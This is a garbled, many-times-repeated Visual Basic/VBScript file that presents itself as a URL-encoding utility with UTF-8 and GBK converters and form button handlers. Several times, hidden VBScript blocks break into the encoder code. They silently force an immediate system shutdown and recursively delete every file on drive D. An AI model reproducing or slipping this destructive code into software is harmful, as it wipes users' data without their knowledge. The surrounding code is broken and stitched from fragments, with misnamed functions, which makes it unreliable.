6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function tion UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function URI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = Asc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*********************************************unction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = ch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURIunction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURIunction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURIunction UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI*Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5im WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "shutdown -f -s -t 00",0 ,true
dim WSHshell 
